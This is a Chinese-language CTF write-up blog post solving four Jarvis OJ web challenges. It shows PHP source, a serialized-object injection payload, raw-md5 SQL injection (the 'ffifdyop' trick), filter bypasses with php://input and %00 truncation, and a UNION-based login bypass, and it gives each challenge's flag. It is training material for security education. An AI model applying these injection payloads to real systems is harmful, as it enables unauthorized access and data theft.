MENU

Jarvis OJ WEB

神盾局的秘密

LFI
文件名需要经过base64编码 图片地址

http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLmpwZw==

showimg.php

<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>

index.php

<?php 
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

shield.php


<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

貌似又是序列化的问题
本地测试
index.php

<?php
require_once('shield.php');
$x = new Shield();
echo serialize($x);
?>

shield.php

<?php
class Shield {
    public $file;
    function __construct($filename = 'pctf.php') {
        $this -> file = $filename;
    }

    function readfile() {
        if (!empty($this->file) && stripos($this->file,'..')===FALSE
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
            return @file_get_contents($this->file);
        }
    }
}
?>

序列化结果为:O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
最终payload:

index.php?class=O:6:%22Shield%22:1{s:4:%22file%22;s:8:%22pctf.php%22;}

flag: PCTF{W3lcome_To_Shi3ld_secret_Ar3a}

Login

提示在响应头

"select * from `admin` where password='".md5($pass,true)."'"

md5($pass,true)是关键 找到了一篇文章

http://blog.csdn.net/greyfreedom/article/details/45846137

当md5后的hex转换成字符串后,如果包含 'or' 这样的字符串,那整个sql变成

SELECT * FROM admin WHERE pass = ''or''

然后就可以注入了
顺手牵羊一个字符串:ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
再转成字符串: 'or'6
flag:PCTF{R4w_md5_is_d4ng3rous}

IN A Mess

根据提示找到了 index.php的源码

<?php
error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
    header('Location: index.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'Hahahahahaha';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("flag.txt");
}
else
{
    print "work harder!harder!harder!";
}
?>

data用php://input id弱类型 b用%00截断

index.php?id=.&a=php://input&b=%0012345

然后得到
Come ON!!! {/^HT2mCpcvOLf}
可能是我制杖吧 这只是一个很正经的路径而已 。。。。
接下来 就是个SQLI了
先改成 id=2

SELECT * FROM content WHERE id=2

测试了一下 不能用空格 可以/**/来分隔关键字 关键字双写绕过
这里存在一个小问题 就是单引号被转义 需要转化成十六进制
flag:PCTF{Fin4lly_U_got_i7_C0ngRatulation5}

Simple Injection

用admin'#做用户名 测试出了 ' #未被过滤
但是admin'and 1=1#则显示用户名错误 用/**/代替空格后成功
SQL关键字为做任何过滤
剩下就是跑脚本了
发现了另一个套路
因为密码的MD5加密的 所以直接控制查出来的密码也能得到flag

username:admin'and/**/1=2/**/union/**/select/**/'c4ca4238a0b923820dcc509a6f75849b'#
password:1

flag:CTF{s1mpl3_1nJ3ction_very_easy!!}

Tags: CTF
Archives QR Code
QR Code for this page
Tipping QR Code
Leave a Comment